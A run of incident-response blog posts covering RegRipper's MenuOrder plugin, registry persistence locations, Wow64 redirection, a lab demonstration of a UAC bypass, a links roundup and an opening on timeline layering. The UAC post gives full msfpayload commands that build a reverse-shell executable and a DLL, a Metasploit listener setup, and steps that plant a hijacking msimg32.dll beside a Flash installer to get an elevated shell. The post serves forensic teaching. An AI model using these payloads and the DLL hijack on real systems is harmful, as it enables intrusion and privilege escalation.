Journey Into Incident Response

A new RegRipper plugin archive was released during the RegRipper Consolidation. The archive contains some new plug-ins; one of them is the MenuOrder.pl plug-in. Before discussing the plug-in I thought it would be helpful to first explain the importance of the registry key it parses. I was working a malware case when actions were taken in an attempt to remove the malware. Not only was malware deleted from the system but artifacts associated with the malware were deleted as well. Despite these actions taken, there was still evidence present in the MenuOrder registry key. This plug-in’s importance is not limited to malware cases; it’s important for any case where it’s important to know what programs or favorites were deleted from a system.

The MenuOrder registry key contains Start Menu and IE Favorites artifacts. The article Start Menu and IE Favorites Artifacts in the MenuOrder Registry Key explains in-depth how these artifacts get populated in this key. The article states:

“In most versions of Windows, a user can manually organize the order in which applications and application groups are displayed in the Start Menu. A user might, for example, drag a frequently-used application group to the top of the Start Menu and leave the remainder of the items in alphabetical order.”

“Similarly, a user can manually rearrange items in the Favorites menu”

In essence, when a user changes the display for either the Start Menu or IE Favorites these settings are stored in the registry. The information that gets stored includes the directory structure and file names for the program shortcuts in the Start Menu and favorites in IE. This means we are able to see how the Start Menu or IE favorites looked at a certain point in time even if actions were taken to delete the program shortcuts or favorites. The registry keys storing the information are:

- HCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs

- HCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Favorites

This by itself makes the MenuOrder key a useful artifact to examine. However, Harlan discovered something even cooler. In his post DOSDate Time Stamps in Shell Items he mentions how the MenuOrder key contains shell items. This means there are timestamps accompanying the file and directory names stored in the registry key. It’s another source to get the creation dates for items.

I ran the plug-in against a Windows XP NTUSER.DAT hive I had laying around and here are a few snippets from its output (command was rip.pl –p menuorder –r ntuser.dat)


menuorder v.20121005

\Start Menu2
LastWrite: Wed Apr 9 13:15:39 2008 Z

\Start Menu2\Programs
LastWrite: Wed Oct 13 14:32:52 2010 Z
Microsoft Office 2003
Set Program Access and Defaults.lnk
Accessories
WinZip
Adobe Reader 9.lnk
Internet Explorer.lnk (@xpsp1res.dll,-11001)
Microsoft Access 2003.lnk
Microsoft Excel 2003.lnk
Microsoft PowerPoint 2003.lnk
Microsoft Word 2003.lnk

\Start Menu2\Programs\Accessories
LastWrite: Wed Jun 9 19:26:37 2010 Z
Accessibility (@shell32.dll,-21760)
Communications (@shell32.dll,-21768)
Entertainment (@shell32.dll,-21772)
System Tools
Address Book.lnk (@shell32.dll,-22017)
Calculator.lnk (@shell32.dll,-22019)
Command Prompt.lnk (@shell32.dll,-22022)
Notepad.lnk (@shell32.dll,-22051)
Paint.lnk (@shell32.dll,-22054)
Program Compatibility Wizard.lnk (@C:\WINDOWS\system32\compatUI.dll,-115)
Remote Desktop Connection.lnk
Synchronize.lnk (@shell32.dll,-22062)
Tour Windows XP.lnk (@C:\WINDOWS\system32\tourstart.exe,-1)
Windows Explorer.lnk (@shell32.dll,-22067)
WordPad.lnk (@shell32.dll,-22069)

.......

\Favorites\Links
LastWrite: Mon Oct 4 18:31:22 2010 Z
Customize Links.url
Free Hotmail.url
Windows.url
Windows Marketplace.url
Windows Media.url

\Favorites\Microsoft Websites
LastWrite: Tue Sep 7 15:34:21 2010 Z
IE Add-on site.url
IE site on Microsoft.com.url
Marketplace.url
Microsoft At Home.url
Microsoft At Work.url
Welcome to IE7.url

On my to-do list for quite some time has been tracking down the various locations in the registry that malware and attackers use to remain persistent on a system. Typically, one of my initial examination steps when confronted with malware is to review the various auto-run locations. The way I approached this step works but it isn’t as efficient as I want it to be. I do most of my registry analysis with RegRipper and it even extracts numerous auto-run locations. However, when I’m looking at persistence mechanisms I go with the Microsoft Autoruns utility since it is the best tool out there for extracting auto-runs from a system. This is where the inefficiently comes into play. I’m using two tools to extract registry auto-run locations. With the Autoruns utility, I’m forced to do additional work since it only works against mounted drives (or images). What I want is to solely use RegRipper to perform this task since it can extract this information in seconds. To do so, I had to track down the various persistence mechanisms to see what, if anything had to be added to RegRipper. This post shows what and how I went about this.

What Locations are Checked By Autoruns

To track down the registry persistence mechanisms I first needed an authoritative resource on the various locations. The Autoruns utility is the best tool for reviewing auto-runs locations since it is constantly updated. The locations checked by the tool would be one of the most authoritative resources on the subject. I reached out to the Win4n6 group to see if anyone knew of a site that outlines the different places the tool checks. Both Troy Larson and Adam said the tool itself can be used to determine this. I picked my platform – Windows 7 64-bit – to get the best coverage of artifacts and followed their guidance. I ran Autoruns (v11.4) against my system. After it completed I selected Options from the menu then Filter Options on the drop down. In the Autoruns Filter Options window: checked the box next to Include empty locations and deselected Hide Windows entries followed by clicking OK.


The end result is the most comprehensive listing of auto-start locations. More extensive then I have ever seen in books, presentations, trainings, and other tools. You may have read Harlan’s post Wow6432Node: Registry Redirection or my post Houston We’ve Had a Problem – Wow64 about the impact Wow64 has on where to look for persistence mechanisms. Well, there are numerous auto-run locations redirected due to Wow64 and this is a topic that is discussed very little in Digital Forensics and Incident Response. To see what I mean run Autoruns against a 64-bit system and you will see all the different Wow64 entries that are being missed by our processes, tools, and literature.

What To Do with these Autorun Locations

Obtaining a comprehensive list of the various persistence mechanisms was only the first step. My idea wasn’t to see every auto-run location added to RegRipper. This would require a lot of work; work done by myself or someone else volunteering their time. The more effective approach is to determine which persistence mechanisms are actually being used by malware. This is what Elizabeth Schweinsberg did when she scraped an antivirus website to determine the most common persistence mechanisms. Similar concept but different approach. I started with the most comprehensive listing of auto-run locations (Autoruns output from my 64-bit system). Then I researched every registry key and values to determine which ones were actually used by malware. I leveraged the Malware Analysis Search since it indexes numerous sites related to malware such as antivirus sites and online sandboxes. Basically, I went through hundreds of auto-start locations and selected the locations based on how many hits I got. Only a few hits wasn’t worth the effort to create test data and write a RegRipper plug-in. It took numerous hits (at least two pages worth) to make it worth the while; for it to be considered as Harlan says low hanging fruit.

Side note: I didn’t apply the search hit count to the Wow64 folder redirection locations. I barely got any hits for these locations. This shows how antivirus sites and online sandboxes are not accounting for all the artifacts created by malware.

Extending RegRipper

For the past few months I have been focused on RegRipper; specifically on the plug-ins. As a result, I know fairly well what every plug-in in the RegRipper archive does, what it checks, and which ones fall into the auto-runs category. I proceeded to review every RegRipper auto-run plug-in against my list of persistence mechanisms. What I found out was pretty cool? Excluding the Wow64 folder redirection keys/values, RegRipper already accounted for the majority of the persistence mechanisms I noted. However, I did identify what new plug-ins was needed and which ones needed to be updated.

My last step in journey to track down persistence mechanisms was to reach out to Harlan for a few reasons. First if I have any questions about Windows forensics especially with the registry then he is at the top of my list. The other reason is because he is the author of RegRipper and I felt letting him know what I was trying to do was the right thing to do. His reaction caught me by surprise after I sent him all my documentation and notes. He was willing to start writing the new plug-ins and updating the existing ones. Really cool and to me this showed his passion for our field. His willingness to help me out with about 20 different plug-ins. As he mentioned, RegRipper is being updated. Actually, he is doing all the updating and I’m just trying to give him any support I can.

In Closing

Out of my desire to work more effectively I set out to track down the various persistence mechanisms to see what needed to be added to RegRipper. I found out about the most comprehensive reference available for auto-run locations with the help of others. I saw firsthand the impact Wow64 has on our processes and tools as well as antivirus websites and online sandboxes since it’s not accounted for. I learned about the various persistence mechanisms, what they do, and more importantly if malware is actually using them. I created a nice reference for myself so I’m more aware about what to take into consideration on future casework. As a result of Harlan’s effort, RegRipper is getting updated and there will be a better tool available. The end result, going forward I will work faster and smarter since I took the time to track down the most common persistence mechanisms. Another item knocked off my to-do list and now my focus moves to the next issue...


*** Update ***

The locations identified in this post has been documented on the ASEPs RegRipper Wiki page. The page outlines all the auto-run plug-ins and the locations they check.

*** Update ***

This is a piggyback post to an issue Harlan has been raising about the Wow64 issue. His most recent post on the subject Wow64Node: Registry Redirection goes into detail about what Wow64 is, it’s impact on registry analysis, and contains links to great resources. After giving some thought to this issue I’m in full agreement with Harlan when he said “this is huge”. Computing is moving on from 32-bit to 64-bit platforms. I am already witnessing the transition since the majority of the systems I see running Windows 7 are 64-bit. We are entering a 64-bit world and as this transition occurs systems will run both 64-bit and 32-bit applications. This is where Wow64 comes into play and I wanted to follow up Harlan’s post with a few more examples about why we should be aware about this issue. I’m not only expanding on what Wow64 is but I’m highlighting issues with our processes and tools to demonstrate why this is an important issue.

What Is Wow64

In addition to the links provided by Harlan, the Windows Internals book contains information about Wow64. It states “Wow64 (Win32 emulation on 64-bit Windows) refers to the software that permits the execution of 32-bit x86 applications on 64-bit Windows”. Part of the emulation involves redirecting a 32-bit application in both the file system and registry.

Windows Internals states the following about file system redirection:

“To maintain application compatibility and to reduce the effort of porting applications from Win32 to 64-bit Windows, system directory were kept the same. Therefore, the \Windows\System32 folder contains native 64-bit images. Wow64, as it hooks all the system calls, translates all the path-related APIs and replaces the path name of the \Windows\System32 folder with \Windows\Syswow64. Wow64 also redirects \Windows\LastGood to \Windows\LastGood\syswow64 and \Windows\Regedit.exe to \Windows\syswow64\Regedit.exe. Through the use of system environment variables, the %PROGRAMFILES% variable is also set to \Program Files (x86) for 32-bit applications, while it is set to \Program Files folder for 64-bit applications."

The file system redirection occurs transparently when a 32-bit application tries to access the System32 or LastGood folders. Something similar happens when 32-bit applications access the registry. Windows Internals mentions:

“the registry is split into two portions: Native and Wow64. By default, 32-bit components access the 32-bit view and 64-bit components access the 64-bit view”. “To implement this, Wow64 intercepts all the system calls that open registry keys and retranslates the key path to point it to the Wow64 view of the registry. Wow64 splits the registry at these points: HKLM\Software and HKEY_CLASSES_ROOT”. “Under each of these keys, Wow64 creates a key called Wow6432Node. Under this key is stored 32-bit configuration information. All other portions of the registry are shared between 32-bit and 64-bit applications (for example, HKLM\SYSTEM)."

The Win32 emulation on 64-bit Windows impacts our DFIR work because there are now additional locations we need to know about and examine. If we don’t Christian Wojner sums up the end result when he said

“In the worst case this can lead to an entirely wrong interpretation of a case/situation”

Wow64 Impact on Our Processes and Tools

Wow64 is one of the topics that have not been discussed extensively within our community. Harlan has been on his soapbox trying to raise awareness about its impact on our work and he provided examples how it affects registry analysis. Both Christian Wojner in his paper The “Wow-Effect” and Lenny Zelster in his post Incident Response on 64-Bit Windows Using 32-Bit Tools highlighted the impacts of file system redirection. Basically, the authors were demonstrating that an analyst may not be getting the whole picture when running 32-bit applications on a 64-bit system. The 32-bit applications were redirected to the \Windows\Syswow64 folder and were incapable of seeing the files located in the Windows\System32 folder. The “Wow-Effect” paper mentioned there are more situations and scenarios where the “Wow-Effect” can impact DFIR. He even suggested the reader could instantly come up with a lot more scenarios. I came up with a few and they impact: live, malware, and post-mortem analysis.

Wow64 Impact on Live Analysis

Both of Christian and Lenny's articles illustrated the Wow64 issue when performing live analysis. Wow64 introduces another wrinkle when performing live analysis besides running 32-bit executables on a 64-bit system. Indicators of Compromise (IOCs) are becoming more mainstream within enterprise environments. It appears more and more people are trying to leverage IOCs to determine if their organization is compromised. The wrinkle Wow64 throws into the process is on the way people use IOCs. IOCs are written by an author based on their systems and their environment. If a user downloads an IOC and runs it in their environment without knowing about the author's environment then the user may reach a false conclusion if the IOC performs a file and registry check.

There are very few public IOCs on the Internet. To illustrate my point I selected the publicly available Skyipot/Wyksol Trojan IOC. The IOC does a check on the following key:

Registry Path contains SOFTWARE\Microsoft\Windows\CurrentVersion\Run

If a user were to download this IOC and run checks against a 64-bit system they may encounter an issue and not even know about it. The Run key in the IOC is either for a 32-bit Skyipot/Wyksol Trojan on a 32-bit system or a 64-bit Skyipot/Wyksol Trojan on a 64-buit system. If a 64-bit system was infected with a 32-bit Skyipot/Wyksol Trojan then the Run key of interest will be located underneath the HKLM\ SOFTWARE\Wow6432Node. The current registry check in the Skyipot/Wyksol IOC will miss it. As more and more organizations start to use IOCs it will be critical for them to make sure they are using IOCs that are compatible with their 64-bit/32-bit environments. Otherwise the IOCs won't be as effective as they should be.

Wow64 Impact on Malware Analysis

Practical Malware Analysis defines malware analysis as "the art of dissecting malware to understand how it works, how to identify it, and how to defeat or eliminate it". At times when reversing malware dynamic analysis is performed to see how the malware behaves as it executes. This is an excellent technique to identify what changes are made to the system such as file creation or registry modification. The intelligence gained by identifying these changes can be used to write IOCs, provide others will indicators to look for, or to perform checks on other systems to determine if they are infected. The Wow64 issue comes into play when doing malware analysis; both if it is done using an online service or your own platform.

Online malware analysis services provide an easy method for people to perform dynamic analysis on a piece of malware. There are numerous free online services to choose from and I randomly selected ThreatExpert. Unfortunately, a good number of these services don’t provide detailed information about the systems the malware executes on so the information they provide may not be complete. To illustrate let’s use the Wow64 issue to see what we can find out about the systems on ThreatExpert. The Run key I mentioned before (it’s also the same one Harlan mentioned) is a popular location for malware to maintain persistence on a system. Searching the ThreatExpert site shows numerous malware reports with this registry key (Google search had 10,400 results). Now let’s search for the same key but taking Wow64 into account by searching for this key.

SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

The Google search resulted in two hits; seriously only two hits. This demonstrates the majority of the ThreatExpert analysis is not running 32-bit malware on a 64-bit system to reveal all artifacts. ThreatExpert is not the only service where this occurs; happens at Anubis (419 Google Results vs. Zero Google Results) and antivirus sites such Symantec (8,800 Google Results vs. Zero Google Results).

Side note: to perform the Google search use the site: operator to point it at the website. My attempts to included the links to the search results didn't work.

Wow64 has the same impact on those who perform malware analysis themselves as opposed to online services. Are 32-bit malware being executed on 64-bit systems? If not, then the end result will be similar to the antivirus and automated analysis sites.

Wow64 Impact on Post-mortem Analysis

Harlan did an outstanding job highlighting the impact Wow64 has on registry analysis. There are a lot more autostart locations beneath the Wow6432Node then just the Run key. These locations are not getting parsed by numerous registry analysis tools. From open source tools to really expensive software such as the one that starts “En” and ends in “Case” (I’m running v6.X). Side note: as Harlan mentioned RegRipper is getting updated to account for Wow64. There are other important registry keys that have a 32-bit equivalent beneath Wow6432Node that has nothing to do with malware or autostart locations.

One of my initial steps in any case is to profile the system to get a better understanding about what I’m facing. One of the areas I consider when profiling is the installed software on a system. It tells me a lot about what type of data and artifacts I should expect. Harlan mentioned in a previous post how the Uninstall key beneath the Wow6432Node contained references to software not listed in the 64-bit Uninstall registry key. Well, I just looked at my system and I’m seeing the same thing. If I don’t take into account the Wow64 issue when profiling a system then I won’t see the complete picture.

Summary

Despite how the phrase is constantly misquoted: “Houston, we have a problem”. The proper quote and one that more closely resembles the Wow64 issue is “Houston, we’ve had a problem”. As in past tense, as in the problem has already occurred. The Wow64 issue is a significant problem and in the near future it will only become worse as the computing environment continues to move from the 32-bit to 64-bit world. Those of us who are aware about Wow64 can adjust to account for this when faced with 64-bit systems. Those who aren’t aware; well the misquote will apply to them. They will have a problem and it could lead them to “an entirely wrong interpretation of a case/situation.”

In closing, I wanted to say thank you to Harlan. Thanks for being consistent with trying to bring this issue to the forefront and making the community more aware about its significance.

The User Account Control (UAC) is a feature in Windows where every application ran under an administrator user account only runs in the context of a standard user. UAC not only has an impact on the tools we use as I discussed before but it has the same impact on tools used by others such as malware. Recently, I’ve been doing work involving client-side exploits when I was reading a recipe about using Metasploit to take advantage of the way some applications loads external libraries on the Windows operating system. It reminded me about something I read about the ZeroAcess Rootkit. How ZeroAccess will leverage the DLL search order vulnerability to bypass the restrictions enforced by UAC. In this post I’m having a little fun by demonstrating the impact UAC has on malware and how effective the DLL search order exploit is for bypassing UAC. The following are the sections for this post:

     - What is UAC
     - DLL Search Order Vulnerability
     - ZeroAccess’s Method to Bypass UAC
     - Metasploit Setup
     - Restrictions Enforced by UAC
     - Bypassing UAC
     - Summary

What is UAC

As I mentioned previously, UAC was first introduced with Windows Vista and the feature carried over to Windows 7. By default, UAC is turned on in both operating systems. “The primary goal of User Account Control is to reduce the exposure and attack surface of the Windows 7 operating system by requiring that all users run in standard user mode, and by limiting administrator-level access to authorized processes.”

This is a pretty significant feature as it relates to malware. Over the years people have grown accustomed to using user accounts with local administrator privileges on their Windows systems. It even reached a point to where certain applications don’t function properly without these elevated rights. The issue with doing everyday tasks with administrative privileges is that any application executed by the user also runs with elevated privileges. If malware executed on a system with elevated privileges then it could make changes system wide. What UAC does is to restrict the elevated privileges from applying to every application launched by the user. The impact on malware is pretty significant; it is restricted to the locations on the system where the user account has permissions. In most cases, these areas are the user’s profile and any mapped drives. The malware will no longer have the ability to make system wide changes unless it can elevate its privileges.

When faced with an infected system it’s important to check the UAC settings due to the potential impact UAC has on malware. The Microsoft article UAC Group Policy Settings and Registry Key Settings outlines the UAC registry settings and the uac RegRipper plugin can extract this information. Below is the output from the uac plug-in when UAC is turned on with the default settings (when UAC is off the EnableLUA and ConsentPromptBehaviorAdmin values are both set to zero):

C:\>rip.exe –p uac –r C:\uac\on\Software
uac v.20130213
(Software) Get Select User Account Control (UAC) Values

UAC Information
Microsoft\Windows\CurrentVersion\policies\system
LastWrite Time Wed Feb 13 18:39:29 2013 (UTC)

EnableLUA value = 1

User Account Control: Run all administrators in Admin Approval Mode
0 = Disabled
1 = Enabled (Default)

EnableVirtualization value = 1

User Account Control: Virtualize file and registry write failures to per-user locations
0 = Disabled
1 = Enabled (Default)

FilterAdministratorToken value = 0

User Account Control: Admin Approval Mode for the built-in Administrator account
0 = Disabled (Default)
1 = Enabled

ConsentPromptBehaviorAdmin value = 5

User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode
0 = Elevate without prompting
1 = Prompt for credentials on the secure desktop
2 = Prompt for consent on the secure desktop
3 = Prompt for credentials
4 = Prompt for consent
5 = Prompt for consent for non-Windows binaries (Default)

ConsentPromptBehaviorUser value = 3

User Account Control: Behavior of the elevation prompt for standard users
0 = Automatically deny elevation requests
1 = Prompt for consent on the secure desktop
3 = Prompt for consent on the secure desktop (Default)

DLL Search Order Vulnerability

The dynamic-link library (DLL) search order vulnerability is well known and has been extensively discussed. Three years ago Mandiant wrote about the weakness in the post Malware Persistence without the Windows Registry. The ISC Diary chimed in on the issue with their post DLL hijacking vulnerabilities. These are only two articles out of many so I’m only briefly touching on the vulnerability. The vulnerability exists because Windows searches for a DLL in a specific order when an application tries to load a DLL. The directories searched are the following in this order: directory from which applications loaded, system directory, Windows directory, current directory, and the directories that are listed in the PATH environment variable. The vulnerability is an application could load a malicious DLL

     - if the DLL has the same name as one that gets loaded

     - if the DLL is located in a directory that is searched before the directory containing the legitimate DLL

ZeroAccess’s Method to Bypass UAC

UAC restricts the elevated privileges from applying to every application launched by the user which significantly impacts malware. The ZeroAccess Rootkit bypasses UAC using a clever technique. The Sophos ZeroAccess Rootkit Report described the technique as follows:

“ZeroAccess must elevate its privileges to install successfully, but in order to do this from a non-administrator account on UAC enabled versions of Windows, a UAC popup will appear. End users are more likely to be suspicious of a file they have just downloaded from the internet that they thought was an illegal keygen, crack or hacked version of a game; they may also be suspicious if an unknown exe file causes a UAC popup while the user is browsing the web (exploit pack infection vector).

As a result the user may choose not to allow the program to proceed, thus ZeroAccess installation may fail. To bypass this possible problem, ZeroAccess disguises itself by forcing the UAC popup to appear to come from a different, benign-seeming program. A clean copy of the Adobe Flash Installer (InstallFlashPlayer.exe) is dropped to a temporary directory and the DLL load order of Windows is abused to ensure that ZeroAccess is loaded into the clean file’s process address space when it is executed.

By dropping a DLL called msimg32.dll (one of the DLLs that InstallFlashPlayer.exe imports) into the same directory as the Flash installer file, Windows will load this DLL in preference to the genuine msimg32.dll because Windows looks in the current directory before the system directory when loading DLLs:”


I executed a Flash installer file from the Temp folder and the search order for the msimg32.dll was:

LdrLoadDll ( "C:\Users\lab\AppData\Local\Temp;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\", 0x0028fa78, 0x0028fa64, 0x0028fa7c )

As can be seen the folder where the application loaded from (Temp) was checked before the C:\Windows\system32 directory where the msimg32.dll is actually located.

Metasploit Setup

The ZeroAccess Rootkit uses a mixture of social engineering and the DLL search order vulnerability to bypass the UAC feature. Metasploit was my go to tool to demonstrate UAC’s impact on malware and to verify how effective the DLL search order exploit is for bypassing the feature. For those solely interested in the testing skip ahead to Restrictions Enforced by UAC section. For completeness and those who want to replicate my testing I’m providing the information about my Metasploit setup. My setup involved: create a custom executable to UAC’s restrictions on privileges, create custom DLL to bypass UAC with, and set up Metasploit listener for the reverse connections.

My network configuration was Windows 7 and BackTrack virtual machines both connected to a virtual network. After I created the custom reverse shells I manually copied them over to the Windows 7 virtual machine for execution.

Create Custom Executable

I built the custom executable with msfpayload and used the following command.

root@bt:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.71.128 LPORT=4444 X >./msimg32.exe

Create Custom DLL

I built the custom DLL with pretty much the same command but I replaced the X with a D as shown below.

root@bt:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.71.128 LPORT=4444 D >./msimg32.dll

Set up Metasploit Listener

The payload I selected for the custom executable and DLL were reverse shells. Their purpose is to establish command shells back to my BackTrack VM at IP address 192.168.71.128 on port 4444. The following are the commands I used to setup the Metasploit listener (notice the listener uses the same payload, IP address, and port number as the custom executable/DLL)

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.71.128
LHOST => 192.168.71.128
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.71.128:4444
[*] Starting the payload handler...

Restrictions Enforced by UAC

It’s always helpful to first see things as they should be. The first test was to examine the privileges restrictions imposed by UAC to see firsthand its impact on malware from the attackers’ perspective. I manually copied the msimg32.exe to the C:\Users\lab\AppData\Local\Temp directory on the Windows 7 VM and then executed it.

On the BackTrack VM I got a successful shell as shown below:

[*] Command shell session 1 opened (192.168.71.128:4444 -> 192.168.71.130:49157) at 2013-02-14 21:12:46 -0500

I dropped into the shell and executed the whoami command to see what privileges I had.

C:\Users\lab\AppData\Local\Temp>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============= ===============================
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled

The output showed the shell was running under standard user mode since certain administrative privileges were missing such as the SeTakeOwnershipPrivilege privilege. I next took the testing one step forward by trying to create a file in the System32 directory but was denied access as shown below:

C:\Users\lab\AppData\Local\Temp>echo hello > C:\Windows\System32\hello.txt

echo hello > C:\Windows\System32\hello.txt
Access is denied.

Bypassing UAC

The restricted privileges imposed by UAC was expected and matched my previous testing. I restored the Windows 7 VM to a snapshot in a clean state and copied the msimg32.dll and a Flash Installer file to the C:\Users\lab\AppData\Local\Temp directory.


I executed the Flash installer file (InstallFlashPlayer.exe) by double clicking it and was greeted with the UAC popup. Notice how the verified publisher shows Adobe Systems Incorporated.


After I clicked Yes to allow the program to make changes to the system on the BackTrack VM I got a successful shell as shown below. This means the msimg32.dll in the Temp directly was loaded before the legitimate DLL in the System32 directory.

[*] Command shell session 2 opened (192.168.71.128:4444 -> 192.168.71.130:49157) at 2013-02-14 21:18:28 -0500

I dropped into the shell and executed the whoami command to see what privileges I had.

C:\Users\lab\AppData\Local\Temp>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State

=============================== ====== ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Disabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled
SeCreatePagefilePrivilege Create a pagefile Disabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Disabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeCreateSymbolicLinkPrivilege Create symbolic links Disabled

The output showed the shell was running under administrator mode confirming UAC was successfully bypassed. Again, I took the testing one step forward by successfully creating a file in the System32 directory (notice the access denied message didn’t appear).

C:\Users\lab\AppData\Local\Temp>echo hello > C:\Windows\System32\hello.txt
echo hello > C:\Windows\System32\hello.txt

C:\Users\lab\AppData\Local\Temp>

Summary

When confronted with examining a system impacted by malware it is important to know what user account was involved and what privileges the account had. If the account is an administrator on a Windows Vista or newer operating system then the next check should be to determine the UAC settings. UAC is the difference between malware being able to make changes system wide or being restricted to a user profile. That is unless the malware leverages a technique to bypass the UAC feature. Then all bets are off. :)

The Linkz for various tools have been piling up in the hopper. For some too much time has passed and others have already done an adequate job talking about them. In this long overdue Linkz post I’m trying to touch on a few links and tools people may not be too familiar with. Just read the headings to get a feel for if any of the linkz apply to the work you do.

Custom Googles

Google has been one of my most reliable tools over the years. The answer to any question is only a few keyboard clicks away. Google is even better with the ability to create a custom Google that only searches specific sites. It seems as if these custom Googles have been my go to tool lately; so much so that I want to share them with others.

If you need to find anything related to digital forensics and incident response then the Digital Forensic Search is the one you will want. If you need to research a piece of malware then check out the Malware Analysis Search. Mila over at Contagio Malware Dump put together a nice post containing links to custom Googles. One of the links was for Malware Sample Search which is handy for the times you are looking for a specific piece of malware. If you need to research a vulnerability or exploit then the Vulnerability Search should be one of your first stops.

Links to Useful Public Resources

I picked up on this site some time ago. The Roberto Perdisci website has a page outlining useful public resources. The links cover: networking and network security, network traffic datasets, malware collection and analysis, pen testing / exploits/ forensics, machine learning, and program analysis. The page has a ton of gems listed so it’s worth taking some time to go through them.

I sent a few links out to Twitter in response to a question and they pertain to useful public resources. The public resources are malware repositories and these links outline the various repositories available. The first link is Lenny Zeltser's Malware Sample Sources for Researchers while the second is Mila's Links and resources for malware samples.

Malware Downloaders and Scappers

These next round of links are all on my list to test; they all look outstanding and should be a nice addition to my tool kit.

At times there is a need to download malware from a website, or two, or 50. In these situations trying to do this manually might not be the best option. This is where the next few links come into play. The first tool has been around for some time but it’s new to me. XyliBox posted his Malware Auto-downloader v1.7 a few years back. The next malware downloader looks like an outstanding tool to continuous download malware from known malicious websites. Kyle Maxwell occasionally tweeted about a project he was working on so when he released it I was really looking forward to reading about it. He extended the mwcrawler (another downloader) into a tool he refers to as Maltrieve. To fully see what he did check out his post Maltrieve: retrieving malware for research and grab the tool from Maltrieve on Github.

The last link is for a malware scrapper. Jamie Levy released her getmalwaredomains Python script. It seems like a nifty little script since it “collects domain/IP/Date/Reverse Lookup information from malwaredomainlist.com”.

IDX Information and Parsers

Java exploits have been a topic I frequently discussed. Not only because it seems like every few months there is a new zero-day but because I keep encountering it on my examinations such as in the post Finding the Initial Infection Vector. One artifact from Java exploits and Java malware occurs when they get downloaded into the Java cache. An index file (IDX) is created and it contains a wealth of information. I briefly touched on IDX files in the post (Almost) Cooked Up Some Java. The little research I did does not even compare to what others have done. First Brian Baskin released his Java Cache IDX Parser. Then Harlan did a few blog posts about IDX files (one of them was Bin Mode: Parsing Java *idx files). In one of Harlan’s posts he pointed out that Joachim Metz was sharing information about the IDX file format on the ForensicsWiki Java page. Mark Woan released his Java IDX Format Specification document where he breaks down the file format for different IDX file versions in addition to his JavaIDX parser. Rounding out the IDX parsers Harlan released his IDXparse script. Java exploits and Java malware are only going to get worse so if you aren’t familiar with IDX files then it might be time to get acquainted.

Memory Forensics

Last Fall there was a new memory imager on the block called pmem. The Scudette in Wonderland blog did a nice write-up about pmem in the post The PMEM Memory acquisition suite. The pmem tool itself can be downloaded from the Volatility Google page. Speaking about Volatility. I am truly impressed with the amount of documentation they have in their Wiki. If you use Volatility or want to learn about the tool then you should definitely check out their Wiki. For example, check out the Volatility 2.2 Release Notes page and then check out their command reference for the: Windows Core, Windows GUI, Windows Malware, and Windows registry. Finally, browse through the rest of the Wiki because I only mentioned some of it. Again, really impressive.

NirLauncher

This nice tool is pretty slick. I use the tools from Nirsoft and Sysinternals for different purposes. I like the tools so it didn't bother me too much having to launch multiple stand-alone executables. I'm not sure how I missed this but one I'm glad the NWC3 training I sat through last fall opened my eyes. Nirsoft has a tool called Nirlauncher. Nirlauncher is a single interface that can be used to run "more than 150 portable freeware utilities". Check out the screenshot below:


It gets even better. There is a package for the Sysinternals tools as well.


Like I said, pretty slick. Nirlauncher can be downloaded from here and the Sysinternals tools can be grabbed from here.

PE Executables

Again these next two links are on my list to test. First up HiddenIllusion released his tool AnalyzePE. In his own words it " wraps around various tools and provides some additional checks/information to produce a centralized report of a PE file". It seems like the tool is a good way to automate some PE analysis tasks. The last link is for the tool PE_Carver which " carves EXEs from given data files, using intelligent carving based upon PE headers". This might be a handy little utility and save time from having to manually carve out PE files with a hex editor.

Layering is defined as the action of arranging something into layers. There are various reasons to why data is layered but I think the most important one is to show a more accurate picture about something. Each layer may contain different information so when the layers are combined all of the information can be seen. Providing a more accurate picture about something even applies in Digital Forensics and Incident Response (DFIR). I saw its benefits when layering different artifacts showing similar information such as the installed software artifacts. A single artifact may not show all of the software that is or was installed but looking at the information from all artifacts provide a more accurate picture of what programs were on a computer. I have found layering data to be a powerful technique; from what programs executed to what files were accessed to what activity occurred on a system. I hope to demonstrate the benefits to layering data through the eye of a timeline.

Layering Data in Action

Before diving into timelines I wanted to take a step back to first illustrate layering data. The best visual example of how layering data provides a more accurate picture of something is the way mapping software works. All layers contain information about the same geographical location but the data each layer contains is different.

